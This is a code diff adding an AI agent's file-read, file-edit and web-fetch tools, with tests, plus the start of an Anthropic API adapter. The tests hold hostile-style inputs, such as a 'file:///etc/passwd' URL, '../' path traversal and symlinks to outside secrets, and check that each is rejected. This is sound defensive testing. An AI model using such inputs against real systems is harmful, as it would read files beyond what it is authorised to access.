+	_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path":     filepath.Join("link", "note.txt"),
+		"old_text": "old",
+		"new_text": "new",
+	})
+	if err == nil {
+		t.Fatal("expected symlink escape to fail")
+	}
+	if !strings.Contains(err.Error(), "path escapes working directory") {
+		t.Fatalf("err = %v", err)
+	}
+
+	content, err := os.ReadFile(filepath.Join(outside, "note.txt"))
+	if err != nil {
+		t.Fatal(err)
+	}
+	if string(content) != "old\n" {
+		t.Fatalf("outside content changed to %q", content)
+	}
+}
+
+func TestEditRejectsFinalSymlink(t *testing.T) {
+	dir := t.TempDir()
+	target := filepath.Join(dir, "target.txt")
+	if err := os.WriteFile(target, []byte("old\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	link := filepath.Join(dir, "link.txt")
+	if err := os.Symlink("target.txt", link); err != nil {
+		t.Skipf("symlinks unavailable: %v", err)
+	}
+
+	_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path":     "link.txt",
+		"old_text": "old",
+		"new_text": "new",
+	})
+	if err == nil {
+		t.Fatal("expected final symlink edit to fail")
+	}
+	if !strings.Contains(err.Error(), "is a symlink") {
+		t.Fatalf("err = %v", err)
+	}
+	content, err := os.ReadFile(target)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if string(content) != "old\n" {
+		t.Fatalf("target content changed to %q", content)
+	}
+	info, err := os.Lstat(link)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if info.Mode()&os.ModeSymlink == 0 {
+		t.Fatalf("link mode = %v, want symlink", info.Mode())
+	}
+}
+
+func TestReadRejectsParentOutsideCurrentWorkingDir(t *testing.T) {
+	root := t.TempDir()
+	subdir := filepath.Join(root, "sub")
+	if err := os.Mkdir(subdir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(root, "note.txt"), []byte("hello"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: subdir}, map[string]any{
+		"path": "../note.txt",
+	})
+	if err == nil {
+		t.Fatal("expected parent path to fail")
+	}
+	if !strings.Contains(err.Error(), "path escapes working directory") {
+		t.Fatalf("err = %v", err)
+	}
+}
+
+func TestReadRequiresApproval(t *testing.T) {
+	if !agent.ToolRequiresApproval((&Read{}), map[string]any{"path": "note.txt"}) {
+		t.Fatal("read should require approval")
+	}
+}
+
+func TestReadDefaultsToEntireFile(t *testing.T) {
+	dir := t.TempDir()
+	content := "one\ntwo\nthree\n"
+	if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte(content), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path": "note.txt",
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if result.Content != content {
+		t.Fatalf("content = %q", result.Content)
+	}
+}
+
+func TestReadAllowsAbsolutePath(t *testing.T) {
+	dir := t.TempDir()
+	path := filepath.Join(dir, "note.txt")
+	content := "one\ntwo\nthree\n"
+	if err := os.WriteFile(path, []byte(content), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
+		"path": path,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if result.Content != content {
+		t.Fatalf("content = %q", result.Content)
+	}
+}
+
+func TestReadRejectsAbsoluteSymlink(t *testing.T) {
+	dir := t.TempDir()
+	target := filepath.Join(dir, "target.txt")
+	if err := os.WriteFile(target, []byte("hello\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	link := filepath.Join(dir, "alias")
+	if err := os.Symlink(target, link); err != nil {
+		t.Skipf("symlinks unavailable: %v", err)
+	}
+
+	_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
+		"path": link,
+	})
+	if err == nil {
+		t.Fatal("expected absolute symlink to be rejected")
+	}
+	if !strings.Contains(err.Error(), "symlink") {
+		t.Fatalf("err = %v, want symlink rejection", err)
+	}
+}
+
+func TestReadStartEnd(t *testing.T) {
+	dir := t.TempDir()
+	if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\nthree\nfour\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path":  "note.txt",
+		"start": 2,
+		"end":   3,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if result.Content != "two\nthree\n" {
+		t.Fatalf("content = %q", result.Content)
+	}
+}
+
+func TestReadStartOnly(t *testing.T) {
+	dir := t.TempDir()
+	if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\nthree\nfour\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path":  "note.txt",
+		"start": 3,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if result.Content != "three\nfour\n" {
+		t.Fatalf("content = %q", result.Content)
+	}
+}
+
+func TestReadEndOnly(t *testing.T) {
+	dir := t.TempDir()
+	if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\nthree\nfour\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path": "note.txt",
+		"end":  2,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if result.Content != "one\ntwo\n" {
+		t.Fatalf("content = %q", result.Content)
+	}
+}
+
+func TestReadSelectionRejectsHugeSingleLine(t *testing.T) {
+	dir := t.TempDir()
+	if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte(strings.Repeat("x", maxReadBytes+1)), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path":  "note.txt",
+		"start": 1,
+		"end":   1,
+	})
+	if err == nil {
+		t.Fatal("expected huge selected line to fail")
+	}
+	if !strings.Contains(err.Error(), "selected content is too large") {
+		t.Fatalf("err = %v", err)
+	}
+}
+
+func TestReadAllWithinLimitRejectsGrowingRead(t *testing.T) {
+	reader := io.MultiReader(
+		strings.NewReader(strings.Repeat("x", maxReadBytes)),
+		strings.NewReader("x"),
+	)
+
+	_, err := readAllWithinLimit(reader, maxReadBytes)
+	if err == nil {
+		t.Fatal("expected over-limit read to fail")
+	}
+	if !strings.Contains(err.Error(), "content is too large") {
+		t.Fatalf("err = %v", err)
+	}
+}
+
+func TestReadRejectsInvalidRange(t *testing.T) {
+	dir := t.TempDir()
+	if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path":  "note.txt",
+		"start": 4,
+		"end":   2,
+	})
+	if err == nil {
+		t.Fatal("expected invalid range to fail")
+	}
+	if !strings.Contains(err.Error(), "end must") {
+		t.Fatalf("err = %v", err)
+	}
+}

agent/tools/file_unix_test.go

@@ -0,0 +1,121 @@
+//go:build !windows
+
+package tools
+
+import (
+	"context"
+	"os"
+	"path/filepath"
+	"strings"
+	"syscall"
+	"testing"
+	"time"
+
+	"github.com/ollama/ollama/agent"
+)
+
+func TestOpenRegularFileRejectsFIFO(t *testing.T) {
+	dir := t.TempDir()
+	path := filepath.Join(dir, "pipe")
+	if err := syscall.Mkfifo(path, 0o600); err != nil {
+		t.Skipf("mkfifo unavailable: %v", err)
+	}
+
+	done := make(chan error, 1)
+	go func() {
+		file, _, err := openRegularFile(dir, "pipe", false)
+		if file != nil {
+			file.Close()
+		}
+		done <- err
+	}()
+
+	select {
+	case err := <-done:
+		if err == nil {
+			t.Fatal("expected FIFO to be rejected")
+		}
+		if !strings.Contains(err.Error(), "not a regular file") {
+			t.Fatalf("err = %v", err)
+		}
+	case <-time.After(time.Second):
+		t.Fatal("openRegularFile blocked on FIFO")
+	}
+}
+
+func TestEditPreservesModeDespiteUmask(t *testing.T) {
+	oldUmask := syscall.Umask(0o077)
+	defer syscall.Umask(oldUmask)
+
+	dir := t.TempDir()
+	path := filepath.Join(dir, "note.txt")
+	if err := os.WriteFile(path, []byte("hello\n"), 0o666); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.Chmod(path, 0o666); err != nil {
+		t.Fatal(err)
+	}
+
+	_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path":     "note.txt",
+		"old_text": "hello",
+		"new_text": "hi",
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	info, err := os.Stat(path)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if got := info.Mode().Perm(); got != 0o666 {
+		t.Fatalf("mode = %#o, want 0666", got)
+	}
+}
+
+func TestReadRejectsSymlinkEscapingWorkingDir(t *testing.T) {
+	root := t.TempDir()
+	secret := filepath.Join(t.TempDir(), "secret.txt")
+	if err := os.WriteFile(secret, []byte("top secret\n"), 0o600); err != nil {
+		t.Fatal(err)
+	}
+	link := filepath.Join(root, "notes")
+	if err := os.Symlink(secret, link); err != nil {
+		t.Fatal(err)
+	}
+
+	_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: root}, map[string]any{
+		"path": "notes",
+	})
+	if err == nil {
+		t.Fatal("expected symlink escaping working dir to be rejected")
+	}
+	if !strings.Contains(err.Error(), "symlink") {
+		t.Fatalf("err = %v, want symlink rejection", err)
+	}
+}
+
+func TestReadRejectsSymlinkInsideWorkingDirToOutside(t *testing.T) {
+	root := t.TempDir()
+	target := filepath.Join(root, "real.txt")
+	if err := os.WriteFile(target, []byte("hello\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	// A symlink to a sibling file still resolves inside the root; Read must
+	// reject it regardless, consistent with Edit's rejectFinalSymlink.
+	link := filepath.Join(root, "alias")
+	if err := os.Symlink(target, link); err != nil {
+		t.Fatal(err)
+	}
+
+	_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: root}, map[string]any{
+		"path": "alias",
+	})
+	if err == nil {
+		t.Fatal("expected symlink to be rejected even when target is inside root")
+	}
+	if !strings.Contains(err.Error(), "symlink") {
+		t.Fatalf("err = %v, want symlink rejection", err)
+	}
+}

agent/tools/web.go

@@ -0,0 +1,199 @@
+package tools
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"net/url"
+	"strings"
+	"time"
+
+	"github.com/ollama/ollama/agent"
+	"github.com/ollama/ollama/api"
+	internalcloud "github.com/ollama/ollama/internal/cloud"
+)
+
+var (
+	ErrWebSearchAuthRequired = errors.New("web search requires authentication")
+	ErrWebFetchAuthRequired  = errors.New("web fetch requires authentication")
+)
+
+const (
+	maxWebFetchContentRunes = 60_000
+	webSearchTimeout        = 15 * time.Second
+	webFetchTimeout         = 30 * time.Second
+)
+
+type WebSearch struct{}
+
+func (w *WebSearch) Name() string {
+	return "web_search"
+}
+
+func (w *WebSearch) Description() string {
+	return "Search the web for current information that may not be in the model's training data."
+}
+
+func (w *WebSearch) Schema() api.ToolFunction {
+	props := api.NewToolPropertiesMap()
+	props.Set("query", api.ToolProperty{
+		Type:        api.PropertyType{"string"},
+		Description: "The search query to look up on the web.",
+	})
+	return api.ToolFunction{
+		Name:        w.Name(),
+		Description: w.Description(),
+		Parameters: api.ToolFunctionParameters{
+			Type:       "object",
+			Properties: props,
+			Required:   []string{"query"},
+		},
+	}
+}
+
+func (w *WebSearch) RequiresApproval(map[string]any) bool {
+	return true
+}
+
+func (w *WebSearch) Execute(ctx context.Context, _ agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
+	if internalcloud.Disabled() {
+		return agent.ToolResult{}, errors.New(internalcloud.DisabledError("web search is unavailable"))
+	}
+	query, ok := args["query"].(string)
+	if !ok || strings.TrimSpace(query) == "" {
+		return agent.ToolResult{}, fmt.Errorf("query parameter is required")
+	}
+
+	client, err := api.ClientFromEnvironment()
+	if err != nil {
+		return agent.ToolResult{}, err
+	}
+
+	ctx, cancel := context.WithTimeout(ctx, webSearchTimeout)
+	defer cancel()
+
+	searchResp, err := client.WebSearchExperimental(ctx, &api.WebSearchRequest{Query: query, MaxResults: 5})
+	if err != nil {
+		var authErr api.AuthorizationError
+		if errors.As(err, &authErr) {
+			return agent.ToolResult{}, fmt.Errorf("%w: %s", ErrWebSearchAuthRequired, authErr)
+		}
+		return agent.ToolResult{}, err
+	}
+	if len(searchResp.Results) == 0 {
+		return agent.ToolResult{Content: "No results found for query: " + query}, nil
+	}
+
+	var sb strings.Builder
+	sb.WriteString(fmt.Sprintf("Search results for: %s\n\n", query))
+	for i, result := range searchResp.Results {
+		sb.WriteString(fmt.Sprintf("%d. %s\n", i+1, result.Title))
+		sb.WriteString(fmt.Sprintf("   URL: %s\n", result.URL))
+		if result.Content != "" {
+			content := []rune(result.Content)
+			if len(content) > 300 {
+				content = append(content[:300], []rune("...")...)
+			}
+			sb.WriteString(fmt.Sprintf("   %s\n", string(content)))
+		}
+		sb.WriteByte('\n')
+	}
+	return agent.ToolResult{Content: sb.String()}, nil
+}
+
+type WebFetch struct{}
+
+func (w *WebFetch) Name() string {
+	return "web_fetch"
+}
+
+func (w *WebFetch) Description() string {
+	return "Fetch and extract text content from a web page."
+}
+
+func (w *WebFetch) Schema() api.ToolFunction {
+	props := api.NewToolPropertiesMap()
+	props.Set("url", api.ToolProperty{
+		Type:        api.PropertyType{"string"},
+		Description: "The URL to fetch and extract content from.",
+	})
+	return api.ToolFunction{
+		Name:        w.Name(),
+		Description: w.Description(),
+		Parameters: api.ToolFunctionParameters{
+			Type:       "object",
+			Properties: props,
+			Required:   []string{"url"},
+		},
+	}
+}
+
+func (w *WebFetch) RequiresApproval(map[string]any) bool {
+	return true
+}
+
+func (w *WebFetch) Execute(ctx context.Context, _ agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
+	if internalcloud.Disabled() {
+		return agent.ToolResult{}, errors.New(internalcloud.DisabledError("web fetch is unavailable"))
+	}
+	urlStr, ok := args["url"].(string)
+	if !ok || strings.TrimSpace(urlStr) == "" {
+		return agent.ToolResult{}, fmt.Errorf("url parameter is required")
+	}
+	parsed, err := url.Parse(urlStr)
+	if err != nil {
+		return agent.ToolResult{}, fmt.Errorf("invalid URL: %w", err)
+	}
+	if scheme := strings.ToLower(parsed.Scheme); scheme != "http" && scheme != "https" {
+		return agent.ToolResult{}, fmt.Errorf("unsupported URL scheme %q: only http and https are allowed", parsed.Scheme)
+	}
+
+	client, err := api.ClientFromEnvironment()
+	if err != nil {
+		return agent.ToolResult{}, err
+	}
+
+	ctx, cancel := context.WithTimeout(ctx, webFetchTimeout)
+	defer cancel()
+
+	fetchResp, err := client.WebFetchExperimental(ctx, &api.WebFetchRequest{URL: urlStr})
+	if err != nil {
+		var authErr api.AuthorizationError
+		if errors.As(err, &authErr) {
+			return agent.ToolResult{}, fmt.Errorf("%w: %s", ErrWebFetchAuthRequired, authErr)
+		}
+		return agent.ToolResult{}, err
+	}
+
+	var sb strings.Builder
+	if fetchResp.Title != "" {
+		sb.WriteString(fmt.Sprintf("Title: %s\n\n", fetchResp.Title))
+	}
+	if fetchResp.Content != "" {
+		sb.WriteString("Content:\n")
+		sb.WriteString(truncateWebFetchContent(fetchResp.Content))
+	} else {
+		sb.WriteString("No content could be extracted from the page.")
+	}
+	return agent.ToolResult{Content: sb.String()}, nil
+}
+
+func truncateWebFetchContent(content string) string {
+	runes := []rune(content)
+	if len(runes) <= maxWebFetchContentRunes {
+		return content
+	}
+	omitted := len(runes) - maxWebFetchContentRunes
+	return string(runes[:maxWebFetchContentRunes]) + fmt.Sprintf(
+		"\n\n[tool output truncated: showing first ~%d tokens; omitted ~%d tokens. Use a narrower request or search query if more detail is needed.]",
+		approximateToolTokensFromRunes(maxWebFetchContentRunes),
+		approximateToolTokensFromRunes(omitted),
+	)
+}
+
+func approximateToolTokensFromRunes(n int) int {
+	if n <= 0 {
+		return 0
+	}
+	return max(1, (n+3)/4)
+}

agent/tools/web_test.go

@@ -0,0 +1,88 @@
+package tools
+
+import (
+	"encoding/json"
+	"net/http"
+	"net/http/httptest"
+	"strings"
+	"testing"
+
+	coreagent "github.com/ollama/ollama/agent"
+	"github.com/ollama/ollama/api"
+)
+
+func TestWebToolsRequireApproval(t *testing.T) {
+	if !coreagent.ToolRequiresApproval((&WebSearch{}), map[string]any{"query": "ollama"}) {
+		t.Fatal("web search should require approval")
+	}
+	if !coreagent.ToolRequiresApproval((&WebFetch{}), map[string]any{"url": "https://ollama.com"}) {
+		t.Fatal("web fetch should require approval")
+	}
+}
+
+func TestWebFetchRejectsUnsupportedScheme(t *testing.T) {
+	tests := []struct {
+		name    string
+		url     string
+		wantErr bool
+	}{
+		{name: "file scheme", url: "file:///etc/passwd", wantErr: true},
+		{name: "data scheme", url: "data:text/plain,secret", wantErr: true},
+		{name: "ftp scheme", url: "ftp://example.com/secret", wantErr: true},
+		{name: "http allowed", url: "http://example.com", wantErr: false},
+		{name: "https allowed", url: "https://example.com", wantErr: false},
+	}
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			_, err := (&WebFetch{}).Execute(t.Context(), coreagent.ToolContext{}, map[string]any{"url": tt.url})
+			if tt.wantErr && err == nil {
+				t.Fatal("expected unsupported scheme to be rejected")
+			}
+			// For allowed schemes we expect an error only from the missing
+			// server/auth path, not from scheme validation. The http/https
+			// cases reach the client and may fail on connection/auth; we only
+			// assert that the error is NOT a scheme error.
+			if !tt.wantErr && err != nil && strings.Contains(err.Error(), "unsupported URL scheme") {
+				t.Fatalf("http/https rejected as unsupported: %v", err)
+			}
+		})
+	}
+}
+
+func TestWebFetchBoundsContentBeforeReturning(t *testing.T) {
+	ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		if r.URL.Path != "/api/experimental/web_fetch" {
+			t.Fatalf("path = %q, want /api/experimental/web_fetch", r.URL.Path)
+		}
+		var req api.WebFetchRequest
+		if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
+			t.Fatal(err)
+		}
+		if req.URL != "https://ollama.com" {
+			t.Fatalf("request URL = %q, want https://ollama.com", req.URL)
+		}
+		if err := json.NewEncoder(w).Encode(api.WebFetchResponse{
+			Title:   "Ollama",
+			Content: strings.Repeat("x", maxWebFetchContentRunes+25),
+		}); err != nil {
+			t.Fatal(err)
+		}
+	}))
+	defer ts.Close()
+	t.Setenv("OLLAMA_HOST", ts.URL)
+
+	result, err := (&WebFetch{}).Execute(t.Context(), coreagent.ToolContext{}, map[string]any{
+		"url": "https://ollama.com",
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !strings.Contains(result.Content, "[tool output truncated: showing first ~") ||
+		!strings.Contains(result.Content, "omitted ~7 tokens") ||
+		!strings.Contains(result.Content, "Use a narrower request or search query") {
+		t.Fatalf("content missing truncation marker: %q", result.Content)
+	}
+	if count := strings.Count(result.Content, "x"); count != maxWebFetchContentRunes {
+		t.Fatalf("captured content count = %d, want %d", count, maxWebFetchContentRunes)
+	}
+}

anthropic/anthropic.go

@@ -0,0 +1,1267 @@
+package anthropic
+
+import (
+	"bytes"
+	"context"
+	"crypto/rand"
+	"encoding/base64"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"io"
+	"log/slog"
+	"net/http"
+	"net/url"
+	"strconv"
+	"strings"
+	"time"
+
+	"github.com/ollama/ollama/api"
+	"github.com/ollama/ollama/auth"
+	internalcloud "github.com/ollama/ollama/internal/cloud"
+	"github.com/ollama/ollama/logutil"
+)
+
+// Error types matching Anthropic API
+type Error struct {
+	Type    string `json:"type"`
+	Message string `json:"message"`
+}
+
+type ErrorResponse struct {
+	Type      string `json:"type"` // always "error"
+	Error     Error  `json:"error"`
+	RequestID string `json:"request_id,omitempty"`
+}
+
+// NewError creates a new ErrorResponse with the appropriate error type based on HTTP status code
+func NewError(code int, message string) ErrorResponse {
+	var etype string
+	switch code {
+	case http.StatusBadRequest:
+		etype = "invalid_request_error"
+	case http.StatusUnauthorized:
+		etype = "authentication_error"
+	case http.StatusForbidden:
+		etype = "permission_error"
+	case http.StatusNotFound:
+		etype = "not_found_error"
+	case http.StatusTooManyRequests:
+		etype = "rate_limit_error"
+	case http.StatusServiceUnavailable, 529:
+		etype = "overloaded_error"
+	default:
+		etype = "api_error"
+	}
+
+	return ErrorResponse{
+		Type:      "error",
+		Error:     Error{Type: etype, Message: message},
+		RequestID: generateID("req"),
+	}
+}
+
+// Request types
+
+// MessagesRequest represents an Anthropic Messages API request
+type MessagesRequest struct {
+	Model         string          `json:"model"`
+	MaxTokens     int             `json:"max_tokens"`
+	Messages      []MessageParam  `json:"messages"`
+	System        any             `json:"system,omitempty"` // string or []map[string]any (JSON-decoded ContentBlock)
+	Stream        bool            `json:"stream,omitempty"`
+	Temperature   *float64        `json:"temperature,omitempty"`
+	TopP          *float64        `json:"top_p,omitempty"`
+	TopK          *int            `json:"top_k,omitempty"`
+	StopSequences []string        `json:"stop_sequences,omitempty"`
+	Tools         []Tool          `json:"tools,omitempty"`
+	ToolChoice    *ToolChoice     `json:"tool_choice,omitempty"`
+	Thinking      *ThinkingConfig `json:"thinking,omitempty"`
+	Metadata      *Metadata       `json:"metadata,omitempty"`
+	OutputConfig  *OutputConfig   `json:"output_config,omitempty"`
+}
+
+type OutputConfig struct {
+	Effort string `json:"effort,omitempty"`
+}
+
+// MessageParam represents a message in the request
+type MessageParam struct {
+	Role    string         `json:"role"`    // "user" or "assistant"
+	Content []ContentBlock `json:"content"` // always []ContentBlock; plain strings are normalized on unmarshal
+}
+
+func (m *MessageParam) UnmarshalJSON(data []byte) error {
+	var raw struct {
+		Role    string          `json:"role"`
+		Content json.RawMessage `json:"content"`
+	}
+	if err := json.Unmarshal(data, &raw); err != nil {
+		return err
+	}
+	m.Role = raw.Role
+
+	var s string
+	if err := json.Unmarshal(raw.Content, &s); err == nil {
+		m.Content = []ContentBlock{{Type: "text", Text: &s}}
+		return nil
+	}
+
+	return json.Unmarshal(raw.Content, &m.Content)
+}
+
+// ContentBlock represents a content block in a message.
+// Text and Thinking use pointers so they serialize as the field being present (even if empty)
+// only when set, which is required for SDK streaming accumulation.
+type ContentBlock struct {
+	Type string `json:"type"` // text, image, tool_use, tool_result, thinking, server_tool_use, web_search_tool_result
+
+	// For text blocks - pointer so field only appears when set (SDK requires it for accumulation)
+	Text *string `json:"text,omitempty"`
+
+	// For text blocks with citations
+	Citations []Citation `json:"citations,omitempty"`
+
+	// For image blocks
+	Source *ImageSource `json:"source,omitempty"`
+
+	// For tool_use and server_tool_use blocks
+	ID    string                        `json:"id,omitempty"`
+	Name  string                        `json:"name,omitempty"`
+	Input api.ToolCallFunctionArguments `json:"input,omitzero"`
+
+	// For tool_result and web_search_tool_result blocks
+	ToolUseID string `json:"tool_use_id,omitempty"`
+	Content   any    `json:"content,omitempty"` // string, []ContentBlock, []WebSearchResult, or WebSearchToolResultError
+	IsError   bool   `json:"is_error,omitempty"`
+
+	// For thinking blocks - pointer so field only appears when set (SDK requires it for accumulation)
+	Thinking  *string `json:"thinking,omitempty"`
+	Signature string  `json:"signature,omitempty"`
+}
+
+// Citation represents a citation in a text block
+type Citation struct {
+	Type           string `json:"type"` // "web_search_result_location"
+	URL            string `json:"url"`
+	Title          string `json:"title"`
+	EncryptedIndex string `json:"encrypted_index,omitempty"`
+	CitedText      string `json:"cited_text,omitempty"`
+}
+
+// WebSearchResult represents a single web search result
+type WebSearchResult struct {
+	Type             string `json:"type"` // "web_search_result"
+	URL              string `json:"url"`
+	Title            string `json:"title"`
+	EncryptedContent string `json:"encrypted_content,omitempty"`
+	PageAge          string `json:"page_age,omitempty"`
+}
+
+// WebSearchToolResultError represents an error from web search
+type WebSearchToolResultError struct {
+	Type      string `json:"type"` // "web_search_tool_result_error"
+	ErrorCode string `json:"error_code"`
+}
+
+// ImageSource represents the source of an image
+type ImageSource struct {
+	Type      string `json:"type"` // "base64"
+	MediaType string `json:"media_type,omitempty"`
+	Data      string `json:"data,omitempty"`
+	URL       string `json:"url,omitempty"`
+}
+
+// Tool represents a tool definition
+type Tool struct {
+	Type        string          `json:"type,omitempty"` // "custom" for user-defined tools, or "web_search_20250305" for web search
+	Name        string          `json:"name"`
+	Description string          `json:"description,omitempty"`
+	InputSchema json.RawMessage `json:"input_schema,omitempty"`
+
+	// Web search specific fields
+	MaxUses int `json:"max_uses,omitempty"`
+}
+
+// ToolChoice controls how the model uses tools
+type ToolChoice struct {
+	Type                   string `json:"type"` // "auto", "any", "tool", "none"
+	Name                   string `json:"name,omitempty"`
+	DisableParallelToolUse bool   `json:"disable_parallel_tool_use,omitempty"`
+}
+
+// ThinkingConfig controls extended thinking
+type ThinkingConfig struct {
+	Type         string `json:"type"` // "enabled" or "disabled"
+	BudgetTokens int    `json:"budget_tokens,omitempty"`
+}
+
+// Metadata for the request
+type Metadata struct {
+	UserID string `json:"user_id,omitempty"`
+}
+
+// Response types
+
+// MessagesResponse represents an Anthropic Messages API response
+type MessagesResponse struct {
+	ID           string         `json:"id"`
+	Type         string         `json:"type"` // "message"
+	Role         string         `json:"role"` // "assistant"
+	Model        string         `json:"model"`
+	Content      []ContentBlock `json:"content"`
+	StopReason   string         `json:"stop_reason,omitempty"`
+	StopSequence string         `json:"stop_sequence,omitempty"`
+	Usage        Usage          `json:"usage"`
+}
+
+// Usage contains token usage information
+type Usage struct {
+	InputTokens  int `json:"input_tokens"`
+	OutputTokens int `json:"output_tokens"`
+}
+
+// Streaming event types
+
+// MessageStartEvent is sent at the start of streaming
+type MessageStartEvent struct {
+	Type    string           `json:"type"` // "message_start"
+	Message MessagesResponse `json:"message"`
+}
+
+// ContentBlockStartEvent signals the start of a content block
+type ContentBlockStartEvent struct {
+	Type         string       `json:"type"` // "content_block_start"
+	Index        int          `json:"index"`
+	ContentBlock ContentBlock `json:"content_block"`
+}
+
+// ContentBlockDeltaEvent contains incremental content updates
+type ContentBlockDeltaEvent struct {
+	Type  string `json:"type"` // "content_block_delta"
+	Index int    `json:"index"`
+	Delta Delta  `json:"delta"`
+}
+
+// Delta represents an incremental update
+type Delta struct {
+	Type        string `json:"type"` // "text_delta", "input_json_delta", "thinking_delta", "signature_delta"
+	Text        string `json:"text,omitempty"`
+	PartialJSON string `json:"partial_json,omitempty"`
+	Thinking    string `json:"thinking,omitempty"`
+	Signature   string `json:"signature,omitempty"`
+}
+
+// ContentBlockStopEvent signals the end of a content block
+type ContentBlockStopEvent struct {
+	Type  string `json:"type"` // "content_block_stop"
+	Index int    `json:"index"`
+}
+
+// MessageDeltaEvent contains updates to the message
+type MessageDeltaEvent struct {
+	Type  string       `json:"type"` // "message_delta"
+	Delta MessageDelta `json:"delta"`
+	Usage DeltaUsage   `json:"usage"`
+}
+
+// MessageDelta contains stop information
+type MessageDelta struct {
+	StopReason   string `json:"stop_reason,omitempty"`
+	StopSequence string `json:"stop_sequence,omitempty"`
+}
+
+// DeltaUsage contains cumulative token usage
+type DeltaUsage struct {
+	InputTokens  int `json:"input_tokens"`
+	OutputTokens int `json:"output_tokens"`
+}
+
+// MessageStopEvent signals the end of the message
+type MessageStopEvent struct {
+	Type string `json:"type"` // "message_stop"
+}
+
+// PingEvent is a keepalive event
+type PingEvent struct {
+	Type string `json:"type"` // "ping"
+}
+
+// StreamErrorEvent is an error during streaming
+type StreamErrorEvent struct {
+	Type  string `json:"type"` // "error"
+	Error Error  `json:"error"`
+}
+
+// FromMessagesRequest converts an Anthropic MessagesRequest to an Ollama api.ChatRequest
+func FromMessagesRequest(r MessagesRequest) (*api.ChatRequest, error) {
+	logutil.Trace("anthropic: converting request", "req", TraceMessagesRequest(r))
+
+	var messages []api.Message
+
+	if r.System != nil {
+		switch sys := r.System.(type) {
+		case string:
+			if sys != "" {
+				messages = append(messages, api.Message{Role: "system", Content: sys})
+			}
+		case []any:
+			// System can be an array of content blocks
+			var content strings.Builder
+			for _, block := range sys {
+				if blockMap, ok := block.(map[string]any); ok {
+					if blockMap["type"] == "text" {
+						if text, ok := blockMap["text"].(string); ok {
+							content.WriteString(text)
+						}
+					}
+				}
+			}
+			if content.Len() > 0 {
+				messages = append(messages, api.Message{Role: "system", Content: content.String()})
+			}
+		}
+	}
+
+	for i, msg := range r.Messages {
+		converted, err := convertMessage(msg)
+		if err != nil {
+			logutil.Trace("anthropic: message conversion failed", "index", i, "role", msg.Role, "err", err)
+			return nil, err
+		}
+		messages = append(messages, converted...)
+	}
+
+	options := make(map[string]any)
+
+	options["num_predict"] = r.MaxTokens
+
+	if r.Temperature != nil {
+		options["temperature"] = *r.Temperature
+	}
+
+	if r.TopP != nil {
+		options["top_p"] = *r.TopP
+	}
+
+	if r.TopK != nil {
+		options["top_k"] = *r.TopK
+	}
+
+	if len(r.StopSequences) > 0 {
+		options["stop"] = r.StopSequences
+	}
+
+	var tools api.Tools
+	hasBuiltinWebSearch := false
+	for _, t := range r.Tools {
+		if strings.HasPrefix(t.Type, "web_search") {
+			hasBuiltinWebSearch = true
+			break
+		}
+	}
+
+	for _, t := range r.Tools {
+		// Anthropic built-in web_search maps to Ollama function name "web_search".
+		// If a user-defined tool also uses that name in the same request, drop the
+		// user-defined one to avoid ambiguous tool-call routing.
+		if hasBuiltinWebSearch && !strings.HasPrefix(t.Type, "web_search") && t.Name == "web_search" {
